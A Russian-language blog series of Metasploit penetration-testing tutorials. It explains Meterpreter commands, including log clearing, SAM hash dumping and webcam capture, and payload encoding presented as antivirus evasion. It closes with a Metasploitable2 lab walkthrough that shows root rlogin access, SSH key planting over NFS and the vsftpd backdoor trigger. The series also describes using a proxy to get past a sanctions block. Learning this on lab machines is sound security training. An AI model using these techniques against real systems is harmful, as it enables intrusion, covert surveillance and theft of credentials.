Сбор информации с Metasploit |
Основой любого успешного теста на проникновение, является сбор информации. Невыполнение, или же некачественный сбор информации заставит вас тыкаться наугад атакуя машины, не зная их уязвимостей, или теряя их.
Давайте рассмотрим несколько способов сбора информации, таких как:
Сканирование портов
Hunting for MSSQL
Service Identification
Сниффинг паролей
SNMP sweeping
В дальнейших статьях я рассмотрю некоторые из встроенных в Metasploit функций, которые помогают в сборе информации.
Взято с сайта http://www.stanovlenie.org.ua/information-gathering-with-metasploit/
Метки: Metasploit Metasploit Framework |
Meterpreter базовые команды |
Так как Meterpreter предоставляет целую новую среду, мы рассмотрим некоторые основные команды для начала и ознакомимся с этим мощным инструментом. В этой статье я постараюсь рассмотреть почти все имеющиеся в Meterpreter команды. По сути дела эта статья для тех кто не хочет экспериментировать с ключами для успешного обучения.
Команда ‘help‘, как и может ожидаться, отображает меню помощи ‘Meterpreter‘.
Команда ‘background‘ переводит текущую сессию Meterpreter в фоновый режим, и мы возвращаемся в командную строку ‘msf‘. Для того чтобы вернуться в сессии Meterpreter, просто необходимо обратится к ней снова.
Команда ‘cat‘ в meterpreter идентична такой же команде с *nix системах. Она отображает содержимое файла заданное в качестве аргумента.
Команды ‘cd‘ и ‘pwd‘ используются для изменения и отображения текущей работы непосредственно на целевом хоте. Изменение рабочей директории ‘cd‘ работает точно так же как это делается в системах ‘DOS‘ либо ‘*nix‘. По умолчанию текущая рабочая папка находится там, где произведено подключение.
Аргументы
cd: Путь к папке, для изменения.
pwd: не требуется
Пример использования:
Команда ‘clearev‘ очистит логи приложений, системы и безопасности windows систем. В ней нет опций или аргументов.
Логи перед использованием Meterpreter для очистки журналов.
Пример использования:
После очистки логи выглядят так:
Команда ‘download‘ загружает файл с удаленного компьютера. Обратите внимание на использование двух косых черт, задавая путь в windows.
Команда ‘edit‘ открывает файл, расположенный на целевом хосте. Он использует ‘vim‘ и все доступные команды данного редактора.
Пример использования:
Можете посмотреть документацию текстового редактора ‘vim‘, для более удобного использования.
Команда ‘execute‘ запускает команду на целевом компьютере.
Запуск команды ‘getuid‘ покажет пользователю хост на котором запущен сервер Meterpreter.
Команда ‘hashdump‘ сообщает модулю дамп содержимого базы данных SAM.
Запуск команды ‘idletime‘ отобразит сколько времени работает пользователь на удаленной машине.
Команда ‘ipconfig‘ отображает сетевые интерфейсы и адреса на удаленной машине.
Команды ‘lpwd‘ и ‘lcd‘ используются для отображения и изменения, расположения рабочей директории. При получении оболочки meterpreter, расположение рабочей директории находится там где запустилась консоль Metasploit. Изменение рабочей директории, даст сессии вашего meterpreter, доступ к файлам расположенным в этой папке.
Аргументы:
lpwd: не требуются
lcd: Папка назначения
Пример использования:
Точно так же как и в Linux, команда ‘ls‘ покажет список файлов в текущей директории на удаленной машине.
Использование ‘migrate‘ сообщает модулю, что переходите на иной процесс жертвы.
Команда ‘ps‘ отображает список запущенных на цели процессов.
Команда ‘resource‘, выполняет инструкции meterpreter которые находятся в текстовом файле. Записи должны быть в файле записаны по одной в строку, команда ‘resource‘, выполняет каждую строку в последовательности. При помощи этого можно автоматизировать повторяющиеся действия, выполняемые пользователем.
По умолчанию, команды будут работать в текущей рабочей директории(на целевой машине), а файл ресурсов в локальной рабочей директории (атакующей машины).
Аргументы:
path1: Расположение файла содержащего команды для запуска.
Path2Run: Место где запускаются команды найденные внутри файла
Пример использования, файл используемый ‘resource‘:
Запуск команды resource:
Команда ‘search‘ предоставит возможность отображения расположения определенных файлов на целевом хосте. Команда может искать либо по всей системе, либо в определенных папках. Группы символов, также могут быть использованы при создании образца файла для поиска.
Аргументы:
Шаблон файла: Может содержать шаблоны
Поиск местоположения: Опционально, если иное не указано, будет происходить поиск по всей системе.
Пример использования:
Команда ‘shell‘ предоставит вам стандартную shell оболочку в целевой системе.
Как и с командой ‘download‘ вам необходимо использовать двойной слеш с командой ‘upload‘.
Команда ‘webcam_list‘ запускаемая из оболочки meterpreter, покажет все имеющиеся в настоящее время веб-камеры на целевом компьютере.
Пример использования:
Команда ‘webcam_snap‘ захватывает изображение с подключенной веб-камеры на целевой системе и сохраняет его на диск в качестве изображения jpeg. По умолчанию сохраняет в расположении текущей рабочей директории со случайным именем файла.
Опции:
-h: Отображение справочной информации о команде.
-i opt: Если подключено более одной веб-камеры, необходимо использовать эту опцию, для того чтобы выбрать устройство с которого будет происходить захват.
-p opt: Изменяет путь и имя файла изображения для сохранения.
-q opt: Выбор качества изображения 50 по умолчанию, 100 лучшее качество.
-v opt: По умолчанию значение истинно, когда открывает изображение после захвата.
Пример использования:
Метки: Metasploit meterpreter meterpreter |
О Metasploit Meterpreter |
Meterpreter является продвинутым динамично расширяемым payload который используется в памяти DLL инъекций stagers, и распространяется по сети во время выполнения. Он обращается к stager сокета и предоставляет комплексную сторону клиента Ruby API. Это особенность команд history, tab completion, channels и иных.
Meterpreter был изначально написан для Metasploit 2.x, общие расширения были объединены для 3.x, и в настоящее время происходит полное преобразование для Metasploit 3.3. Серверная часть реализована в простом C и сейчас компилируется с MSVC, что делает его более портативным. Клиент может быть написан на любом языке, но Metasploit имеет полнофункциональный Ruby API клиент.
Цель выполняет начальный stager. Как правило, это один из bind, reverse, findtag, passivex и тд.
Stager загружает DLL префикс с Reflective. Reflective обрабатывает загрузку/инъекцию DLL.
Meterpreter инициализирует ядро, устанавливает TLS/1.0 ссылку на сокет и отправляет GET. Metasploit получает этот GET и конфигурирует клиент.
Наконец, Meterpreter загружает расширения. Он всегда загружает stdapi и загружает priv если модуль дает права администратора. Все эти расширения загружаются на TLS/1.0 с использованием протокола TLV.
Meterpreter содержится полностью в памяти и ничего не записывает на диск.
Не создаются новые процессы, Meterpreter внедряется во взломанный процесс и может легко мигрировать в иные запущенные процессы.
По умолчанию Meterpreter использует зашифрованное сообщение.
Все они дают ограниченные права и влияют на зараженный компьютер.
Meterpreter использует каналы системной связи.
Протокол TLV имеет несколько ограничений.
Характеристики могут быть увеличены во время выполнения и загружены по сети.
Новые функции могут быть добавлены к Meterpreter без возможности восстановления.
Новые функции добавляются Meterpreter загрузкой расширений.
Клиент загружает DLL на сокет.
Сервер работает на жертве загружаясь в память DLL и инициализирует его.
Новое расширение регистрирует себя на сервере.
Клиент на атакующей машине загружает локальное расширение API и может сейчас вызвать расширенные функции.
Этот весь процесс непрерывен и занимает около 1 секунды, до завершения.
В следующей статье я рассмотрю некоторые различные Meterpreter команды, доступные в новой среде.
Взято с сайта http://www.stanovlenie.org.ua/about-the-metasploit-meterpreter/
Метки: Metasploit meterpreter |
Использование базы данных в Metasploit |
В Kali, вам необходимо будет запустить сервер postgresql, перед тем как использовать базу данных.
После запуска сервиса Metasploit, это создаст пользователя базы данных msf3 и базу данных с именем msf3.
Когда мы загрузили msfconsole, и запустили ‘db_status‘, мы можем подтвердить что Metasploit успешно подключен к базе данных.
Видя эту возможность предназначенную для отслеживания и содержания в порядке наших действий и сканирования. Это необходимо для начала. После подключения к базе данных, мы можем начать организацию наших различных перемещений при помощи ‘workspaces‘. Это даст нам возможность сохранения различных сканирований из различных локализаций/сетей/подсетей например.
Выдача команды ‘workspace‘ из msfconsole покажет текущие выбранные workspaces. По умолчанию workspace выбирается при подключении базы данных, которая представлена в * рядом её имя.
Как мы можем видеть, это очень удобно, когда речь идет об аккуратном хранении Давайте изменим текущий workspace на ‘msfu‘.
Для создания или удаления workspace, необходимо просто использовать ‘-a‘ или ‘-b‘ перед необходимым именем в строке msfconsole.
Как мы видим это достаточно просто, используя туже команду и добавив ‘-h‘ переключатель, мы увидим иные доступные команды.
Теперь любые сканирования или импорт из других приложений будут сохранены в этом workspace.
Теперь когда мы подключились к нашей базе данных и выбрали workspace мы можем просмотреть на заполненные данные. Во первых мы будем смотреть различные базы данных ‘db_‘ командами доступными для использования из msfconsole, список доступных команд вы можете посмотреть задав команду ‘help‘.
Существует несколько способов которыми мы можем это сделать, это сканирование хоста или сети непосредственно из консоли, или импорт файла из более раннего сканирования. Давайте начнем с импорта сканирования хоста nmap в ‘metasploitable 2‘. Это делается при помощи ‘db_import‘ с последующим путем к нашему файлу.
После завершения мы можем подтвердить импорт используя команду ‘hosts‘. Это покажет все хосты, хранящиеся в нашем текущем workspace. Также мы можем сканировать хосты прямо из консоли используя команду ‘db_nmap‘. Результат сканирования будет сохранен и нашей текущей базе данных. Эта команда работает так же как версия ‘nmap‘ из командной строки.
Экспортировать нашу базу данных из Metasploit очень просто. Используя команду ‘db_export‘ мы можем сохранить всю нашу собранную информацию в XML файл. Этот формат легко можно использовать для последующего управления отчетами. Команда имеет два вывода, ‘xml‘ формат экспортирует всю текущую информацию хранящуюся в активном workspace и ‘pwdump‘ формат, который экспортирует все что связано с используемыми/собранными учетными данными.
Теперь мы можем импортировать и экспортировать информацию из нашей базы данных, давайте посмотрим как мы можем использовать эту информацию с msfconsole. Для поиска конкретной информации, хранящейся в нашей базе данных, доступны множество команд. Хосты, имена, адреса, обнаруженные сервисы и тд. Мы даже можем использовать полученные данные настроек модуля, такие как RHOSTS. Как это делается мы рассмотрим несколько позже.
Команда ‘hosts‘ была использована ранее для того чтобы подтвердить наличие данных в нашей базе данных. Давайте рассмотрим различные доступные опции и посмотрим как мы используем их для быстрого получения полезной информации. Использование команды ‘-h‘ выведет на дисплей меню справки.
Начнем и команды вопроса для ‘hosts‘, для отображения только IP-адреса и типа операционной системы, используем переключатель ‘-c‘.
Еще одна интересная особенность, доступная для нас, это возможность поиска во всех наших записях какой-либо конкретной информации. Представим себе, если мы захотим найти только машины основанные на Linux из нашего сканирования. Для этого мы используем опцию ‘-S‘. Эта опция может быть скомбинирована с нашим предыдущим примером, для помощи вывода тонкой настройки наших результатов.
Использование вывода нашего предыдущего примера, мы скормим все что в ‘tcp‘ сканировании вспомогательным модулям.
Мы видим, по умолчанию, хостинг установлен в ‘RHOSTS‘ мы добавим переключатель ‘-R‘ команды hosts и загрузки модуля. Надеюсь он будет работать и сканировать нашу цель без каких-либо проблем.
Конечно, это также работает, если наши результаты, содержат более одного адреса.
Вы можете видеть, насколько это может быть полезно, если в нашей базе данных содержатся сотни записей. Мы можем провести поиск только для Windows машин, установкой опции RHOSTS для smb_version вспомогательного модуля достаточно быстро. Набор RHOSTS переключателя доступен почти во всех командах взаимодействующих с базой данных.
Еще один способ поиска в базе данных, является использование команды ‘services‘. Как и в предыдущих примерах, мы можем извлечь конкретную информацию с малыми усилиями.
Так же как в hosts командах, мы можем указать, какие поля будут отображаться. При помощи переключателя ‘-S‘ мы можем также искать службы, содержащие определенную строку.
Здесь мы ищем все хосты содержащиеся в нашей базе данных с сервисным именем содержащим строку ‘http‘.
Поисковых комбинаций огромное количество. Мы можем использовать определенные порты или диапазоны портов. Полное или частичное имя сервиса, когда используются переключатели ‘-s‘ или ‘-S‘. Для всех хостов или выбрать несколько… Список можно продолжать и продолжать. Вот несколько примеров, но возможно вам потребуется поэкспериментировать, для того чтобы получить то что вы желаете и что вам необходимо найти.
Обе команды services и hosts дают нам возможность сохранения наших результатов запроса в файл. Значения формата файла разделяется запятыми или CSV. Вслед за ‘-o‘ с путем и именем файла, информация которая отображалась на экране в этот момент теперь будет сохранятся на диске.
Команда ‘creds‘ используется для управления и используемых учетных данных для целей в базе данных. Запуск этой команды без каких-либо опций отображает сохраненные учетные данные.
Как с командой ‘db_nmap‘ успешные результаты, относящиеся к учетным данным, будут автоматически сохранены в нашем активном workspace. Давайте запустим вспомогательный модуль ‘mysql_login‘ и посмотрим что происходит, когда Metasploit сканирует наш сервер.
Мы можем видеть, модуль оказался в состоянии подключится к нашему mysql серверу и потому что Metasploit сохраняет учетные данные в нашей базе данных автоматически для дальнейшего использования.
Во время дальнейшей эксплуатации хоста, собираются учетные данные являющиеся важными для дальнейшего проникновения в целевую сеть. Когда мы собираем набор учетных данных, мы можем добавить из в нашу базу данных при помощи команды ‘creds -a‘.
После того как вы взломаете систему (или три), одной из целей может быть получение хеша дампа. Из операционной системы Windows или *nix. В случае успешного хеша дампа, эта информация будет сохраняться в базе данных. Мы можем просмотреть дампы используя команду ‘loot‘. Как и почти с каждой командой, добавление переключателя ‘-h‘ будет отображать немного больше информации.
Вот пример того как можно заполнить какую-либо базу данных с ‘loot‘.
Метки: Metasploit базы данных metasploit |
Базы данных в Metasploit |
Когда мы проводим тест на проникновение, частой проблемой является задача отслеживания всего что вы сделали в целевой сети. Наличие настроенной базы данных позволит вам сэкономить время. Metasploit имеет встроенную поддержку системы базы данных PostgreSQL.
Система позволяет быстро и просто получить доступ к сканированной информации и дает нам возможность импортировать и экспортировать результаты сканирования из различных инструментов сторонних производителей. Также мы можем использовать эту информацию для конфигурирования опций модуля достаточно быстро. Ну и самое главное это позволяет нам держать наши результаты чистыми и организованными.
В следующей статье я рассмотрю создание базы данных в Metasploit.
Взято с сайта http://www.stanovlenie.org.ua/databases-in-metasploit/
Метки: Metasploit Базы данных metasploit |
‘Generate’ payloads для Metasploit |
Во время разработки эксплоита вам наверняка необходимо генерировать shell код использующийся в вашем эксплоите. В Metasploit payloads может быть сгенерирована изнутри msfconsole. Когда вы используете определенный payload, Metasploit добавляет команды ‘generate‘, ‘pry‘ и ‘reload‘. Generate станет основным центром данной статьи, изучения использования Metasploit.
Давайте начнем с рассмотрения различных опций команды ‘ganerate’, запустим его с ‘-h’.
Для генерации shell кода без каких-либо опций, просто выполните команду ‘generate’.
Конечно, вероятность генерации shell кода без каких-либо недостатков является достаточно низкой. Достаточно часто плохие символы и специфические типы кодеров, будут использоваться в зависимости от целевой машины.
Пример кода выше содержит практически универсальный плохой символ, нулевой байт (\x00). Предоставленные некоторые эксплоиты позволяют его использовать, но не многие. Давайте сгенерируем, тот же shell код, только на этот раз мы будем давать Metasploit инструкции для удаления этого нежелательного байта.
Чтобы этого достичь, мы задаем команду ‘ganerate’ за которой следует ‘-b’ с сопровождающими байтами которым мы хотим отказать в процессе генерации.
Глядя на этот shell код, можно легко увидеть что по сравнению с ранее генерируемым shell, нулевые байты были успешно удалены. Это дает нам нулевой байт свободным payload. Так же мы видим иные существенные различия связанные с насильным изменением генерации.
Одним из различий является общий байт размер shell кодов. В предыдущей интеграции размер был 328 байт, в новом shell коде он на 27 байт больше.
Во время генерации, первоначальные нулевые байты, или полезные в коде, необходимо заменить, либо кодировать, для того чтобы подстраховаться, только в памяти связанной функциональной оболочки shell.
Еще одним важным изменением является добавление используемого кодера. По умолчанию Metasploit выберет лучший кодер, для выполнения задачи под рукой. Кодер отвечает за удаление нежелательных символов(среди иного), введенных при использовании ‘-b’. Кодеры мы рассмотрим более подробно позднее.
При указании нежелательных символов, framework будет использовать лучший кодер для работы. Был использован кодер x86/shikata_ga_nai, когда был ограничен нулевой байт, во время генерации кода. Если мы добавим еще несколько нежелательных символов, может быть использован иной символ для выполнения той же самой задачи. Давайте добавим еще несколько байт в список и посмотрим, что происходит.
Мы видим что кодер отличается от того что ранее успешно удалил наши нежелательные байты. Shikata_ga_nai, вероятно оказался не в состоянии кодировать payload с помощью нашего списка ограничения байт. Fnstenv_mov однако удалось достичь этого.
Имея возможность генерировать shell код без использования определенных символов, является одной из огромных возможностей предлагаемых этим framewark. Это совсем не означает что они безграничны.
Слишком много байт ограниченных кодером не смогут выполнится. В такой момент Metasploit будет отражать следующее сообщение.
Это подобно тому как удалить много букв из алфавита и попросить кого-то написать полное предложение. Иногда он просто не сможет этого сделать.
Как упоминалось ранее, framework выберет лучший доступный кодер при генерации payload. Однако бывают случаи когда необходимо использовать определенный тип кодера независимо от того что думает Metasploit. Представьте себе, что эксплоит выполнится успешно только при условии что он не содержит буквенно цифровых символов. Кодер ‘shikata_ga_nai‘ в данном случае окажется бесполезен, так как он использует довольно много символов для кодирования. Посмотрев список кодеров мы видим что кодер ‘x86/nonalpha‘ присутствует.
Давайте заново привяжем sheel payload но в этот раз скажем framework использовать кодер ‘nonalpha‘. Мы делаем это при помощи переключения с помощью ‘-e‘ и последующим именем кодера, как показано в списке ниже.
Если все пошло по плану, то payload не будет содержать какие бы то ни было буквенно-цифровые символы. Но мы должны быть осторожны при использовании иного кодера чем по умолчанию. Как правило это даст нам больший payload. Например тот что выдал этот кодер намного больше нежели в предыдущих примерах.
Наша следующая опция в списке это переключатель ‘-f‘. Она дает нам возможность сохранить вывод сгенерированного payload в фаил вместо отображения его на экране. Как всегда он следует за командой ‘generate‘ с путем файла.
Используя команду ‘cat‘ мы можем увидеть payload который сохранили в нашем файле. Как мы видим мы так же можем использовать более чем одну опцию при генерации shell кода.
Следующий переключатель в нашем списке опций это переключатель итерации ‘-i‘. В двух словах он говорит framework, сколько проходов кодирования он должен сделать прежде чем производить окончательную payload. Одной из причин для этого может быть стелс или анти-вирус уклонение. Более подробно антивирусное уклонение я буду рассматривать в ином разделе MSFU.
Итак давайте сравним наш shell payload сгенерированный с использованием 1 итерации по сравнению с таким же shell кодом с 2 итерации.
Сравнивая два выхода, мы видим очевидный эффект второй итерации нашего payload. Прежде всего больше размер байт, нежели первый. Чем больше итераций делает payload, тем больше он будет. Во вторых сравним выводы байт и увидим что они также отличаются. Это связано со второй итерацией или вторым проходом кодирования. Он кодирует наш payload один раз, затем берет payload и кодирует снова. Давайте возьмем shell код и посмотрим какая разница получится при пяти итерациях.
Изменения являются существенными при сравнении со всеми предыдущими выводами. Он несколько больше и отсутствуют схожие байты рядом. Который делает в теории этот вариант нашего payload наименее склонным к обнаружению.
Мы потратили много времени, генерируя shell код с самого начала от значения по умолчанию. В случае привязки shell по умолчанию прослушивает порт 4444. Часто это необходимо изменить. Мы можем это сделать при помощи переключателя ‘-o‘ перед значением которое мы хотим изменить. Давайте посмотрим какие опции мы можем изменить для этого payload. Из msfconsole мы задаем команду ‘show options‘.
По умолчанию наш shell прослушивает порт ‘4444‘ и выход функции ‘process‘. Мы изменим этот порт на ‘1234‘ и выход функции ‘seh‘ используя ‘-o‘. Синтаксис переменная=значение разделенные запятой между каждой опцией. В этом случае оба порта прослушиваются и выход функции изменяется следующим синтаксисом ‘LPORT=1234,EXITFUNC=seh’.
Наконец давайте взглянем NOP sled длину и вывод формата опций. Когда генерируем payloads по умолчанию формат вывода дается в ‘ruby‘. Хотя ruby язык является чрезвычайно мощным и популярным, это не все коды. У нас есть возможность сообщить framework, для того чтобы дать наш payload в различных форматах кодирования таких как Perl, C и Java, для примера. Добавить NOP sled можно так же в начале при генерации shell кода.
Сначала давайте посмотрим на несколько различных выходных форматов и посмотрим как используется переключатель ‘-t‘. Как и все иные опции, все что необходимо сделать это ввести переключатель с последующим именем формата, как это показано в меню справки.
Глядя на вывод из различных языков программирования мы видим что каждый вывод придерживается из соответствующего языкового синтаксиса. Хеш ‘#‘ используется для комментариев в Ruby, но в C он заменен косой чертой и астериском ‘/*‘. Глядя на все три вывода, массивы правильно объявляют формат выбранного языка. Что делает его готовым для копирования и вставки в ваш скрипт.
Добавление NOP sled (нет операции или следующей операции)осуществляется с переключателем ‘-s‘, перед числом NOPs. Это добавит sled в начале вашего payload. Имейте ввиду что чем больше sled тем больше будет shell код. Поэтому добавление 14 NOPs добавит 14 байт к общему размеру.
Желтым цветом выделен наш NOP sled в начале payload. Сравнивая следующие строки в shell коде выше мы видим что они точно такие же. Всего как и ожидалось стало на 14 байт больше.
Взято с сайта http://www.stanovlenie.org.ua/generate-payloads-for-metasploit/
Метки: Metasploit payload metasploit |
Типы Payload в Metasploit Framework |
Мы кратко рассмотрели три основные типа payload: singles, stagers и stages. Metasploit содержит много различных типов payload, каждый из которых отвечает за уникальную роль во framework. Давайте рассмотрим различные типы доступных payload, и получим представление о том когда следует использовать каждый тип.
Single payload содержит эксплоит и полный shell код для выбора задачи. Inline payloads по конструкции является более стабильной, нежели их коллеги потому что они содержат все в одном. Однако некоторые exploits обычно поддерживают конечный размер этих payloads.
Stager payloads работает в сочетании с stage payloads для того чтобы выполнить определенную задачу. Stager устанавливает канал связи между атакующим и жертвой и читает в stage payload для выполнения на удаленном хосте.
Meterpreter, является короткой формой Meta-Interpreter, продвинутой многогранной payload которые работают при помощи инъекции dll. Meterpreter располагается полностью в памяти удаленного хоста и не оставляет никаких следов на жестком диске, что делает его обнаружение чрезвычайно сложным при помощи обычных методов. Скрипты и плагины могут быть загружены или выгружены динамически по мере необходимости. Meterpreter чрезвычайно сильно разрабатывается и постоянно развивается.
PassiveX является payload который может быть использован для помощи в обходе брандмауэров ограничивающих исходящие. Он делает это при помощи элемента управления ActiveX, создавая скрытый экземпляр Internet Explorer. Используя новый элемент управления ActiveX, он общается с атакующим через HTTP запросы и ответы.
NX (No eXecute) бит встроенная функция некоторых процессоров, для предотвращания выполнения кода в некоторых областях памяти. В Windows, NX реализована Data Execution Prevention (DEP)(предотвращение выполнения данных). Metasploit NoNX payloads разработана для того чтобы обойти DEP.
Ordinal payloads Windows stager основные payloads которые имеют свои преимущества и недостатки. Преимущества состоят в работе под любой вкус, и язык операционной системы Windows, начиная с Windows9x, без явного определения обратного адреса. Они также чрезвычайно малы. Однако два очень специфических недостатка делают их выбор не по умолчанию. Первый недостаток состоит в том что он опирается на факт, что ws2_32.dll загруженный в процесс, эксплуатируется до эксплуатации. Второй недостаток состоит в том что они менее устойчивы чем иные stagers.
Metasploit IPv6 payloads, название указывает на встроенную функцию в сетях IPV6 .
Reflective DLL injection является методом посредством которого stage payload вводится в память скомпроментированного хост-процесса, никогда не касаясь жесткого диска. VNC и Meterpreter payloads оба используют reflective DLL injection. Больше о этом вы можете прочитать в блоге Stephen Fewer, метод создания reflective DLL injection.
Теперь у нас есть понимание того что такое Payload, типы Payload и когда их использоать, давайте генерировать некоторые payloads.
Взято с сайта http://www.stanovlenie.org.ua/type-payload-to-metasploit-framework/
Метки: Metasploit payload metasploit |
Понимание Payloads в Metasploit |
Payload в Metasploit относится к exploit модулю. Существует три различных payload модуля в Metasploit Framework: Singles, Stagers и Stages. Эти различные типы предоставляют большую универсальность, и могут быть использованы через многочисленные типы сценариев. Будет или нет payload являться staged представляется в ‘/’ имени payload. Например ‘windows/shell_bind_tcp’ является single payload без stage, в то время как ‘windows/shell/bind_tcp’ состоит из stager(bind_tcp) и стадии(shell).
1. Singles
2. Stagers
3. Stages
Singles payloads .вляются полностью самодостаточными и автономными. Single payload может быть таким же простым как добавление пользователя в целевую систему или запуск calc.exe.
Stagers настраивает сетевое соединение между атакующим и жертвой, и предназначенна для того чтобы быть маленькой и надежной. Очень трудно всегда делать обе эти вещи хорошо, поэтому результат несколько похожих stagers. Metasploit будет пользоваться лучшим, когда он может это делать, и вернуться обратно к менее привелигированной когда это необходимо.
Windows NX против NO-NX Stagers
Надежность завершения для NX CPUs и DEP
NX stagers больше (VirtualAlloc)
По умолчанию сейчас NX+Win7 совместимы
Этапы payload компонентов которые загружаются с модулями Stagers. Различные этапы payload обеспечивающие расширенные возможности без каких-либо ограничений на размер, такие как Meterpreter, VNC Injection и iPhone ‘ipwn’ Shell.
Payload stages автоматически использует ‘middle stagers’
Один recv() завершается с большими payloads
Stager получает middle stager
Middle stager затем выполняет полную загрузку
Кроме того лучше для RWX
Взято с сайта http://www.stanovlenie.org.ua/understanding-payloads-in-metasploit/
Метки: Metasploit payload metasploit |
Использование эксплоитов в Metasploit |
Выберите эксплоит в Metasploit и добавьте ‘exploit’ командой ‘check’ в msfconsole.
Использование ‘exploit’ добавляет больше опций команде ‘show’.
Метки: Metasploit эксплоиты metasploit |
Работа с активными и пассивными эксплоитами в Metasploit |
Все эксплоиты в Metasploit Framework делятся на две категории: активные и пассивные.
Активные эксплоиты будут использовать определенный хост, они работают до завершения, а затем выходят.
Brute-force будут выходить когда shell открывается из жертвы.
Выполнение модуля прекращается в случае ошибки.
Вы можете запустить активный модуль в фоне, передав команде эксплоита ‘-j’:
Следующий пример делает использование ранее приобретенных наборов учетных данных для эксплоита, а получает обратно shell в целевой системе.
Пассивные эксплоиты, ожидают входящих хостов и используют из как только они подключаются.
Пассивные эксплоиты почти всегда сосредоточенны на таких клиентах как браузеры, FTP клиенты, и тд.
Так же они могут использоваться с email эксплоитами, ожидая соединения.
Пассивные эксплоиты сообщают shell когда они появляются они могут быть перечисленны путем передачи ‘-l’ команды sessions. Передача ‘-i’ взаимодействует с shell.
Следующий вывод показывает настройку эксплоита, уязвимости анимированного курсора. Эксплоит не сработает, пока жертва не просмотрит наш вредоносный веб-сайт.
Метки: Metasploit эксплоиты Metasploit |
Установка Metasploitable2 в Virtual Box |
Как я и обещал, сегодня опишу установку уязвимой виртуальной машины Metasploitable2 в Virtual Box. Я даже какое-то время думал надо это писать или нет? Но обещал же! Мне привычнее делать что сказал.
Итак, начнем. Для начала нам необходимо установить Virtual Box. Это я описывать не буду, у меня уже установлен, и как я ставил я уже и не помню, так что не буду о этом говорить. Надеюсь сами разберетесь. Так что перейду сразу к следующему, а именно нам необходимо скачать уязвимую виртуальную машину Metasploitable2, официальная страница находится на сайте http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
Вот тут со вторым я и первый раз обрадовался. Раньше этого не было, да и сейчас мне не радостно от того что я увидел вот это ‘Crimea blocked as per eo13658‘. Как может быть кто знает, живу я в Украине, и меня совершенно отказались пускать на данный сайт, хвала самой дерьмократической стране с её презервадентом. Блокирование связано с Крымом и чего-то там, подобным, лень читать было три страницы этой писанины.. Тьху на них с их политикой. Еще более обидно что от меня до Крыма, мягко говоря не близко, километров где-то 350.
Так решился этот вопрос просто при помощи прокси сервера. Ну да конечно пришлось поискать проксю, но времени не много ушло. Итог я таки открыл сайт http://sourceforge.net/projects/metasploitable/files/Metasploitable2/ и скачал виртуальную машину Metasploitable2. Да у меня она уже установлена была, но ведь для того чтобы написать как её установить надо начинать с того как её скачать. Так что у кого такая же проблема как у меня, используйте прокси.
Итак наконец машина Metasploitable2 скачалась, и мы имеем архив с ней
Теперь нам необходимо её распаковать, у меня архиватор кажется был по умолчанию в Kali Linux, а может нет, не помню уже, а переустанавливать ради того чтобы узнать желания нет. Я распаковывал в домашнюю директорию.
Теперь необходимо создать новую виртуальную машину. Запускаем Virtual Box, и жмем создать, для создания новой виртуальной машины. Пишем имя виртуальной машины, я ничего не придумывал, написал Metasploitable2, тип операционной системы Linux и версия Ubuntu. Жмем вперед
Укахываем количество оперативной памяти виртуальной машины, я дал 2 гига.
Выбираем использовать существующий виртуальный жествий диск и выбираем диск который мы распаковали из архива.
Жмем создать. Все, машина создана, теперь необходимо настроить сеть, чтобы в инет не лезла и не компроментировала безопасность вашей операционной системы. Заходим в настройки сети.
Выбираем виртуальный адаптер хоста, неразборчивый режим, все разрешаем, если виртуального адаптера хоста нет, то переходим в Virtual Box Файл >Настройки>Сеть>Виртуальные сети хоста, и добавляем новую виртуальную сеть.
Теперь запускаем нашу созданную виртуальную машину. Идет загрузка, требование ввести логин и пароль, вводим логин msfadmin и пароль msfadmin.
Метки: Metasploitable2 |
Metasploitable 2 Руководство использования уязвимостей |
Виртуальная машина Metasploitable является намеренно уязвимой версией Ubuntu Linux предназначенной для тестирования средств безопасности и демонстрации распространенных уязвимостей. Версия 2 этой виртуальной машины доступна для скачивания и поставляется еще более уязвимой нежели исходный образ. Эта виртуальная машина совместима с VMWare, VirtualBox и иными платформами общей виртуализации. По умолчанию, сетевые интерфейсы Metasploitable привязаны к NAT и Host-only сетевых адаптеров, и образ никогда не должен подвергаться воздействию враждебной сети.
Я постараюсь изложить многие из уязвимостей в Metasploitable 2. Со временем этот документ будет дополниться и расширятся, по мере моих скромных сил и загруженности.
После загрузки виртуальных машин, в консоли вводим логин и пароль, соответственно login «msfadmin» и пароль «msfadmin». Из shell Metasploitable2 выполните команду ifconfig, для идентификации IP— адреса.
Из нашей атакующей системы, (Linux в частности у меня Kali Linux), определяем открытые сетевые сервисы, на этой виртуальной машине используя сканер Nmap Security Scanner. Следующая команда будет сканировать все TCP порты на Metasploitable 2:
Почти каждый из этих сервисов, обеспечивает удаленную точку входа в систему. В дальнейшем мы рассмотрим некоторые из этих направлений.
Порты TCP 512, 513 и 514, известные как «r» сервисы, были неправильно настроены для удаленного доступа из любого хоста (стандарт «.rhosts + +» ситуации). Для того чтобы воспользоваться этим, убедитесь что у Вас установлен клиент «rsh-client»(в Ubuntu если), и запустите следующую команду в качестве вашего локального root пользователя. Если Вам будет предложен ключ для SSH, это будет означать что инструменты rsh-client не были установлены и Ubuntu по умолчанию использует SSH.
# rlogin -l root 192.168.56.101
Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
root@metasploitable:~#
Это приблизительно также просто как gets. Следующий сервис который мы рассмотрим это сетевая файловая система (NFS). NFS может быть идентифицирован, путем зондирования порта 2049, или же используя portmapper для списка сервисов. Пример ниже использует rpcinfo для идентификации NFS и showmount -e для определения «/»(корня файловой системы) экспортируется. Вам понадобится rpcbind и nfs-common пакеты Ubuntu для того чтобы следовать дальше.
Тривиальное получение доступа к системе с возможностью записи файловой системы. Для этого (потому что работает SSH) мы сгенерируем новый ключ SSH на вывод нашей атакующей системы, монтируем экспорт NFS, и добавляем наш ключ root аккаунта в authorized_keys file:
Порт 21, Metasploitable2 запускает vsftpd, популярный FTP-сервер. Данная версия содержит в себе backdoor который позволяет неизвестному злоумышленнику подсунуть свой исходный код. Backdoor был быстро обнаружен и устранен, однако до того не мало людей скачали его. Если имя пользователя отправляется до конца последовательности «» (смайлик), версия backdoor откроет shell на порт 6200. Мы можем продемонстрировать это с Telnet или же используя Metasploit Framework модуль автоматического эксплоита:
root@ubuntu:~# telnet 192.168.56.101 21
Trying 192.168.56.101…
Connected to 192.168.56.101.
Escape character is ‘^]’.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.
root@ubuntu:~# telnet 192.168.56.101 6200
